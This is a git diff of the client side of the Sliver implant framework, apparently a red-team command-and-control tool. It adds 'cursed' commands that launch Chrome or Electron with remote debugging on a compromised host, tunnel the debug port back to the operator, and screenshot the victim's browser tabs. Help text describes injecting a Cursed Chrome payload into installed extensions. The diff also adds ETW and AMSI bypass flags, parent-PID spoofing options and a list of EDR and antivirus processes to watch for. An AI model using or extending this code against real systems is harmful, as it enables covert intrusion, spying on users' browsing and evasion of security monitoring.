func checkElectronPath(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (bool, error) {
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: electronExe,
|
||||
})
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
return ls.GetExists(), nil
|
||||
}
|
||||
|
||||
func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, process := range ps.Processes {
|
||||
if process.GetOwner() != session.GetUsername() {
|
||||
continue
|
||||
}
|
||||
if process.GetExecutable() == electronExe || path.Base(process.GetExecutable()) == path.Base(electronExe) {
|
||||
return process, nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
|
||||
con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
|
||||
debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
|
||||
args := []string{
|
||||
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
|
||||
}
|
||||
|
||||
// Execute the Chrome process with the extra flags
|
||||
// TODO: PPID spoofing, etc.
|
||||
electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: electronExe,
|
||||
Args: args,
|
||||
Output: false,
|
||||
})
|
||||
if err != nil {
|
||||
con.Printf("failure!\n")
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("(pid: %d) success!\n", electronExec.GetPid())
|
||||
|
||||
con.PrintInfof("Waiting for process to initialize ... ")
|
||||
time.Sleep(2 * time.Second)
|
||||
|
||||
bindPort := insecureRand.Intn(10000) + 40000
|
||||
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
|
||||
|
||||
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
|
||||
|
||||
tcpProxy := &tcpproxy.Proxy{}
|
||||
channelProxy := &core.ChannelProxy{
|
||||
Rpc: con.Rpc,
|
||||
Session: session,
|
||||
RemoteAddr: remoteAddr,
|
||||
BindAddr: bindAddr,
|
||||
KeepAlivePeriod: 60 * time.Second,
|
||||
DialTimeout: 30 * time.Second,
|
||||
}
|
||||
tcpProxy.AddRoute(bindAddr, channelProxy)
|
||||
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
|
||||
|
||||
curse := &core.CursedProcess{
|
||||
SessionID: session.ID,
|
||||
PID: electronExec.GetPid(),
|
||||
PortFwd: portFwd,
|
||||
BindTCPPort: bindPort,
|
||||
Platform: session.GetOS(),
|
||||
ExePath: electronExe,
|
||||
}
|
||||
core.CursedProcesses.Store(bindPort, curse)
|
||||
go func() {
|
||||
err := tcpProxy.Run()
|
||||
if err != nil {
|
||||
log.Printf("Proxy error %s", err)
|
||||
}
|
||||
core.CursedProcesses.Delete(bindPort)
|
||||
}()
|
||||
|
||||
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
|
||||
|
||||
return curse, nil
|
||||
}
|
||||
|
||||
func getElectronProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, process := range ps.Processes {
|
||||
if process.GetOwner() != session.GetUsername() {
|
||||
continue
|
||||
}
|
||||
if isChromeProcess(process.GetExecutable()) {
|
||||
return process, nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
@@ -0,0 +1,75 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func CursedRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
kill := ctx.Flags.Bool("kill")
|
||||
bindPort := ctx.Args.Int("bind-port")
|
||||
core.CloseCursedProcessesByBindPort(session.ID, bindPort)
|
||||
if kill {
|
||||
confirm := false
|
||||
err := survey.AskOne(&survey.Confirm{Message: "Kill the cursed process?"}, &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
if !confirm {
|
||||
con.PrintErrorf("User cancel\n")
|
||||
return
|
||||
}
|
||||
// Get cursed process
|
||||
var cursedProc *core.CursedProcess
|
||||
curses := core.CursedProcessBySessionID(session.ID)
|
||||
for _, curse := range curses {
|
||||
if curse.BindTCPPort == bindPort {
|
||||
cursedProc = curse
|
||||
}
|
||||
}
|
||||
if cursedProc == nil {
|
||||
con.PrintErrorf("Failed to find cursed process\n")
|
||||
return
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: int32(cursedProc.PID),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
|
||||
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
curse := selectCursedProcess(con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
con.Println()
|
||||
con.PrintInfof("Querying debug targets ... ")
|
||||
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
|
||||
con.Printf(console.Clearln + "\r")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to query debug targets: %s\n", err)
|
||||
return
|
||||
}
|
||||
target := selectDebugTarget(targets, con)
|
||||
if target == nil {
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Taking a screenshot of '%s' ... \n\n", target.Title)
|
||||
quality := ctx.Flags.Int64("quality")
|
||||
if quality < 1 || quality > 100 {
|
||||
con.PrintErrorf("Invalid quality value, must be between 1 and 100\n")
|
||||
return
|
||||
}
|
||||
data, err := overlord.Screenshot(curse, target.WebSocketDebuggerURL, target.ID, quality)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to take screenshot: %s\n", err)
|
||||
return
|
||||
}
|
||||
saveFile := ctx.Flags.String("save")
|
||||
if saveFile == "" {
|
||||
saveFile = fmt.Sprintf("screenshot-%s.png", time.Now().Format("20060102150405"))
|
||||
}
|
||||
err = ioutil.WriteFile(saveFile, data, 0644)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save screenshot: %s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Screenshot saved to %s\n", saveFile)
|
||||
}
|
||||
@@ -0,0 +1,109 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// CursedChromeCmd - Execute a .NET assembly in-memory
|
||||
func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
cursedProcesses := [][]string{}
|
||||
core.CursedProcesses.Range(func(key, value interface{}) bool {
|
||||
curse := value.(*core.CursedProcess)
|
||||
cursedProcesses = append(cursedProcesses, []string{
|
||||
fmt.Sprintf("%d", curse.BindTCPPort),
|
||||
strings.Split(curse.SessionID, "-")[0],
|
||||
fmt.Sprintf("%d", curse.PID),
|
||||
curse.Platform,
|
||||
curse.ExePath,
|
||||
curse.DebugURL().String(),
|
||||
})
|
||||
return true
|
||||
})
|
||||
if 0 < len(cursedProcesses) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Bind Port", "Session ID", "PID", "Platform", "Executable", "Debug URL",
|
||||
})
|
||||
for _, rowEntries := range cursedProcesses {
|
||||
row := table.Row{}
|
||||
for _, entry := range rowEntries {
|
||||
row = append(row, entry)
|
||||
}
|
||||
tw.AppendRow(table.Row(row))
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
} else {
|
||||
con.PrintInfof("No cursed processes\n")
|
||||
}
|
||||
}
|
||||
|
||||
func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
cursedProcesses := []*core.CursedProcess{}
|
||||
core.CursedProcesses.Range(func(key, value interface{}) bool {
|
||||
cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess))
|
||||
return true
|
||||
})
|
||||
if len(cursedProcesses) < 1 {
|
||||
con.PrintErrorf("No cursed processes\n")
|
||||
return nil
|
||||
}
|
||||
|
||||
port2process := map[int]*core.CursedProcess{}
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
for _, cursedProcess := range cursedProcesses {
|
||||
fmt.Fprintf(table, "%d\t%s\t%s\n",
|
||||
cursedProcess.BindTCPPort,
|
||||
fmt.Sprintf("[Session %s]", strings.Split(cursedProcess.SessionID, "-")[0]),
|
||||
cursedProcess.ExePath)
|
||||
port2process[cursedProcess.BindTCPPort] = cursedProcess
|
||||
}
|
||||
table.Flush()
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a curse:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
err := survey.AskOne(prompt, &selected)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if selected == "" {
|
||||
return nil
|
||||
}
|
||||
selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
|
||||
return port2process[selectedPortNumber]
|
||||
}
|
||||
@@ -24,6 +24,7 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -57,10 +58,24 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
|
||||
assemblyArgs := ctx.Args.StringList("arguments")
|
||||
process := ctx.Flags.String("process")
|
||||
processArgs := strings.Split(ctx.Flags.String("process-arguments"), " ")
|
||||
processArgsStr := ctx.Flags.String("process-arguments")
|
||||
processArgs := strings.Split(processArgsStr, " ")
|
||||
|
||||
runtime := ctx.Flags.String("runtime")
|
||||
etwBypass := ctx.Flags.Bool("etw-bypass")
|
||||
amsiBypass := ctx.Flags.Bool("amsi-bypass")
|
||||
|
||||
assemblyArgsStr := strings.Join(assemblyArgs, " ")
|
||||
assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
|
||||
if len(assemblyArgsStr) > 256 {
|
||||
con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Do you want to continue?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Executing assembly ...", ctrl)
|
||||
@@ -75,7 +90,11 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Int("ppid")),
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
Runtime: runtime,
|
||||
EtwBypass: etwBypass,
|
||||
AmsiBypass: amsiBypass,
|
||||
InProcess: ctx.Flags.Bool("in-process"),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -50,6 +50,8 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s", err.Error())
|
||||
return
|
||||
}
|
||||
processArgsStr := ctx.Flags.String("process-arguments")
|
||||
processArgs := strings.Split(processArgsStr, " ")
|
||||
isDLL := (filepath.Ext(binPath) == ".dll")
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
|
||||
@@ -62,6 +64,8 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Kill: !ctx.Flags.Bool("keep-alive"),
|
||||
IsDLL: isDLL,
|
||||
IsUnicode: ctx.Flags.Bool("unicode"),
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
ProcessArgs: processArgs,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -246,7 +246,7 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
|
||||
if !depLoaded && extName == ext.DependsOn {
|
||||
depLoaded = true
|
||||
}
|
||||
if ext.Name == extName {
|
||||
if ext.CommandName == extName {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
@@ -281,6 +281,10 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
if targetOS == "" || targetArch == "" {
|
||||
return nil
|
||||
}
|
||||
if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
|
||||
con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
|
||||
return nil
|
||||
}
|
||||
if len(namedPipeC2) > 0 && targetOS != "windows" {
|
||||
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
|
||||
return nil
|
||||
@@ -473,6 +477,7 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
uri.Path = strings.TrimSuffix(uri.Path, "/")
|
||||
if uri.Scheme != "http" && uri.Scheme != "https" {
|
||||
return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
|
||||
}
|
||||
|
||||
@@ -103,6 +103,8 @@ var (
|
||||
consts.ReactionStr: reactionHelp,
|
||||
consts.ReactionStr + sep + consts.SetStr: reactionSetHelp,
|
||||
consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
|
||||
|
||||
consts.Cursed + sep + consts.CursedChrome: cursedChromeHelp,
|
||||
}
|
||||
|
||||
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
|
||||
@@ -204,10 +206,10 @@ stage-listener --url tcp://1.2.3.4:8080 --profile my-sliver-profile
|
||||
|
||||
To create a profile, use the [[.Bold]]profiles new[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
|
||||
|
||||
profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
|
||||
profiles new --format shellcode --mtls 1.2.3.4 --skip-symbols windows-shellcode
|
||||
`
|
||||
|
||||
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new [--profile-name] <options>
|
||||
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new <options> <profile name>
|
||||
[[.Bold]]About:[[.Normal]] Create a new profile with a given name and options, a name is required.
|
||||
|
||||
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
|
||||
@@ -462,7 +464,7 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
|
||||
[[.Bold]]About:[[.Normal]] Inject a sliver shellcode into an existing file on the target system.
|
||||
[[.Bold]]Example:[[.Normal]] backdoor --profile windows-shellcode "c:\windows\system32\calc.exe"
|
||||
|
||||
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --profile-name whatever --http ab.cd
|
||||
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --http ab.cd windows-shellcode
|
||||
`
|
||||
makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
|
||||
[[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
|
||||
@@ -686,6 +688,19 @@ dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /t
|
||||
|
||||
getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
|
||||
[[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
|
||||
`
|
||||
|
||||
cursedChromeHelp = `[[.Bold]]Command:[[.Normal]] cursed chrome
|
||||
[[.Bold]]About:[[.Normal]] Injects a Cursed Chrome payload into an existing Chrome extension.
|
||||
|
||||
If no extension is specified, Sliver will enumerate all installed extensions, extract their
|
||||
permissions and determine a valid target for injection. For Cursed Chrome to work properly
|
||||
the target extension must have either of these two sets of permissions:
|
||||
|
||||
1. "webRequest" "webRequestBlocking" "<all_urls>"
|
||||
2. "webRequest" "webRequestBlocking" "http://*/*" "https://*/*"
|
||||
|
||||
More information: https://github.com/mandatoryprogrammer/CursedChrome
|
||||
`
|
||||
)
|
||||
|
||||
|
||||
@@ -65,6 +65,7 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
|
||||
"ID",
|
||||
"Hostname",
|
||||
"Operating System",
|
||||
"Locale",
|
||||
"Sessions",
|
||||
"Beacons",
|
||||
"IOCs",
|
||||
@@ -81,6 +82,7 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
|
||||
shortID,
|
||||
host.Hostname,
|
||||
host.OSVersion,
|
||||
host.Locale,
|
||||
hostSessions(host.HostUUID, con),
|
||||
hostBeacons(host.HostUUID, con),
|
||||
len(host.IOCs),
|
||||
|
||||
@@ -19,8 +19,10 @@ package portfwd
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"net"
|
||||
"regexp"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -29,6 +31,10 @@ import (
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
var (
|
||||
portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
|
||||
)
|
||||
|
||||
// PortfwdAddCmd - Add a new tunneled port forward
|
||||
func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
@@ -36,10 +42,10 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
if session.GetActiveC2() == "dns" {
|
||||
con.PrintWarnf("Current C2 is DNS, this is going to be a very slow tunnel!\n")
|
||||
con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
|
||||
}
|
||||
if session.Transport == "wg" {
|
||||
con.PrintWarnf("Current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
|
||||
con.PrintWarnf("The current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
|
||||
}
|
||||
remoteAddr := ctx.Flags.String("remote")
|
||||
if remoteAddr == "" {
|
||||
@@ -55,10 +61,14 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintWarnf("RDP is generally broken over tunneled portfwds, we recommend using WireGuard portfwds\n")
|
||||
}
|
||||
bindAddr := ctx.Flags.String("bind")
|
||||
if remoteAddr == "" {
|
||||
con.PrintErrorf("Must specify a bind target host:port")
|
||||
if bindAddr == "" {
|
||||
con.PrintErrorf("Must specify a bind target host:port (e.g. 127.0.0.1:8000)")
|
||||
return
|
||||
}
|
||||
// If only a port is specified bind to localhost
|
||||
if portNumberOnlyRegexp.MatchString(bindAddr) {
|
||||
bindAddr = fmt.Sprintf("127.0.0.1:%s", bindAddr)
|
||||
}
|
||||
|
||||
tcpProxy := &tcpproxy.Proxy{}
|
||||
channelProxy := &core.ChannelProxy{
|
||||
|
||||
@@ -53,7 +53,7 @@ func PrintPortfwd(con *console.SliverConsoleClient) {
|
||||
"Remote Address",
|
||||
})
|
||||
for _, p := range portfwds {
|
||||
tw.AppendHeader(table.Row{
|
||||
tw.AppendRow(table.Row{
|
||||
p.ID,
|
||||
p.SessionID,
|
||||
p.BindAddr,
|
||||
|
||||
@@ -39,6 +39,11 @@ var (
|
||||
// Process Name -> [Color, Stylized Name]
|
||||
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
|
||||
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
|
||||
"RepMgr.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepUtils.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepUx.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
|
||||
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
|
||||
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
|
||||
@@ -46,12 +51,28 @@ var (
|
||||
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
|
||||
"Deep Security Manager.exe": {console.Red, "Trend Micro"}, // TM Deep Security Manager
|
||||
"coreServiceShell.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
|
||||
"ds_monitor.exe": {console.Red, "Trend Micro"}, // TM Deep Security Monitor
|
||||
"Notifier.exe": {console.Red, "Trend Micro"}, // TM Deep Security Notifier's process
|
||||
"dsa.exe": {console.Red, "Trend Micro"}, // TM Agent's main process
|
||||
"ds_nuagent.exe": {console.Red, "Trend Micro"}, // TM Advanced TLS traffic inspection
|
||||
"coreFrameworkHost.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
|
||||
"SentinelServiceHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelStaticEngine.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelAgent.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelAgentWorker.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelHelperService.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelBrowserNativeHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelUI.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"Sysmon.exe": {console.Red, "Sysmon"}, // Sysmon
|
||||
"Sysmon64.exe": {console.Red, "Sysmon64"}, // Sysmon64
|
||||
"CylanceSvc.exe": {console.Red, "Cylance"}, // Cylance
|
||||
"CylanceUI.exe": {console.Red, "Cylance"}, // Cylance
|
||||
"TaniumClient.exe": {console.Red, "Tanium"}, // Tanium
|
||||
"TaniumCX.exe": {console.Red, "Tanium"}, // Tanium
|
||||
"TaniumDetectEngine.exe": {console.Red, "Tanium"}, // Tanium
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
@@ -19,6 +19,7 @@ package reaction
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
@@ -29,9 +30,10 @@ import (
|
||||
|
||||
// ReactionSaveCmd - Manage reactions to events
|
||||
func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if _, err := os.Stat(GetReactionFilePath()); !os.IsNotExist(err) {
|
||||
reactionPath := GetReactionFilePath()
|
||||
if _, err := os.Stat(reactionPath); !os.IsNotExist(err) {
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite reactions on disk?"}
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Overwrite reactions (%s) on disk?", reactionPath)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
@@ -41,6 +43,6 @@ func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Saved reactions to disk\n")
|
||||
con.PrintInfof("Saved reactions to disk (%s)\n", reactionPath)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
package rportfwd
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"regexp"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
var (
|
||||
portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
|
||||
)
|
||||
|
||||
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
|
||||
func StartRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
